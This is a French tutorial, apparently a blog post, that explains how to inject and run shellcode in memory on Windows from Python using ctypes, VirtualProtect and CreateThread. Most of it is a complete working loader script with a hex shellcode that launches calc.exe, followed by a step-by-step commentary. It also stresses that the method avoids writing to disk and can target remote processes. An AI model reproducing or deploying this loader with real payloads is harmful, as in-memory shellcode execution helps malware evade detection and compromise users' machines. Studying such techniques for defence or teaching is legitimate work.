Python possède un module ctypes qui nous permet de faire appel au fonction contenues dans les dlls windows , nous allons utiliser ces fonctions de manière a faire exécuter du code natif dans python . L’avantage de cette technique est qu’elle ne nécessite pas d’écrire sur le disque dur .
1.Que peut-on faire avec ctypes ?
Avec le module ctypes dont la doc est disponible ici : https://docs.python.org/2/library/c...
On peut accéder au fonction des dll windows , ici CreateThread qui nous servira pour exécuter du code contenu en RAM .
Et on peut déclarer des variables comme en c, exemple un pointeur vers une chaine de caractère (pShellcode)
- windll.kernel32.CreateThread(...)
- pShellcode = c_char_p(shellcode)
2.Technique d’injection
- Créer une variable contenant notre shellcode
- Créer un pointeur vers notre shellcode
- Autoriser l’exécution dans cette zone de mémoire ( VirtualProtect)
- Créer un Thread avec comme routine de démarrage notre shellcode
C’est une technique d’injection parmi tant d’autre , il est possible de faire la même chose sur un processus distant .
3. Le code
Le shellcode exécute la calculette Windows
- from ctypes import *
- import sys
- hmodule = windll.kernel32.LoadLibraryA("kernel32.dll".encode())
- addressWinExec = windll.kernel32.GetProcAddress(hmodule,"WinExec".encode())
- print("Addresse de WinExec : "+str(hex(addressWinExec)))
- bytesListe = [addressWinExec >> i & 0xff for i in (24,16,8,0)]
- bytesListe.reverse()
- addressWinExecBytes = b''
- if sys.version_info<=(3,0):
- for byte in bytesListe:
- addressWinExecBytes+=chr(byte)
- else:
- addressWinExecBytes = bytes(bytesListe)
- shellcode = b'\xEB\x08\xBE'
- shellcode+=addressWinExecBytes
- shellcode+=b'\xFF\xD6\xC3\x31\xC0\x50\xE8\xF0\xFF\xFF\xFF\x43\x3A\x5C\x57\x49\x4E\x44\x4F\x57\x53\x5C\x73\x79\x73\x74\x65\x6D\x33\x32\x5C\x63\x61\x6C\x63\x2E\x65\x78\x65'
- print("Shellcode ["+str(len(shellcode))+" bytes]:"+str(shellcode))
- pShellcode = c_char_p(shellcode)
- ThreadID = c_int()
- PAGE_EXECUTE_READWRITE = 0x40
- OldVirtualProtect = c_int()
- CreateThread = windll.kernel32.CreateThread
- VirtualProtect = windll.kernel32.VirtualProtect
- res = VirtualProtect(pShellcode,len(shellcode),PAGE_EXECUTE_READWRITE,pointer(OldVirtualProtect))
- print("VirtualProtect resultat :"+str(res))
- res = CreateThread(None,0,pShellcode,None,0,pointer(ThreadID))
- print("Thread resultat :"+str(res))
- input(">>>")
Quelques explications :
Pour une meilleur portabilité ,l’adresse de winExec est récupérée et insérée dans le shellcode .
- hmodule = windll.kernel32.LoadLibraryA("kernel32.dll".encode())
- addressWinExec = windll.kernel32.GetProcAddress(hmodule,"WinExec".encode())
- print("Addresse de WinExec : "+str(hex(addressWinExec)))
Conversion en bytes selon les différentes version de python :
- bytesListe = [addressWinExec >> i & 0xff for i in (24,16,8,0)]
- bytesListe.reverse()
- addressWinExecBytes = b''
- if sys.version_info<=(3,0):
- for byte in bytesListe:
- addressWinExecBytes+=chr(byte)
- else:
- addressWinExecBytes = bytes(bytesListe)
Ajout au shellcode :
- shellcode = b'\xEB\x08\xBE'
- shellcode+=addressWinExecBytes
- shellcode+=b'\xFF\xD6\xC3\x31\xC0\x50\xE8\xF0\xFF\xFF\xFF\x43\x3A\x5C\x57\x49\x4E\x44\x4F\x57\x53\x5C\x73\x79\x73\x74\x65\x6D\x33\x32\x5C\x63\x61\x6C\x63\x2E\x65\x78\x65'
On créer notre pointeur vers notre shellcode :
- pShellcode = c_char_p(shellcode)
On change les attributs de sécurité avec VirtualProtect :
- BOOL WINAPI VirtualProtect(
- _In_ LPVOID lpAddress,
- _In_ SIZE_T dwSize,
- _In_ DWORD flNewProtect,
- _Out_ PDWORD lpflOldProtect
- );
Pour plus d’information : http://msdn.microsoft.com/en-us/lib...
- PAGE_EXECUTE_READWRITE = 0x40
- OldVirtualProtect = c_int()
- ...
- VirtualProtect = windll.kernel32.VirtualProtect
- res = VirtualProtect(pShellcode,len(shellcode),PAGE_EXECUTE_READWRITE,pointer(OldVirtualProtect))
Et ensuite on créer notre thread dans python avec CreateThread
- HANDLE WINAPI CreateThread(
- _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
- _In_ SIZE_T dwStackSize,
- _In_ LPTHREAD_START_ROUTINE lpStartAddress,
- _In_opt_ LPVOID lpParameter,
- _In_ DWORD dwCreationFlags,
- _Out_opt_ LPDWORD lpThreadId
- );
Pour plus d’information : http://msdn.microsoft.com/en-us/lib...
- ThreadID = c_int()
- CreateThread = windll.kernel32.CreateThread
- ...
- res = CreateThread(None,0,pShellcode,None,0,pointer(ThreadID))
Et voilà le tour est joué !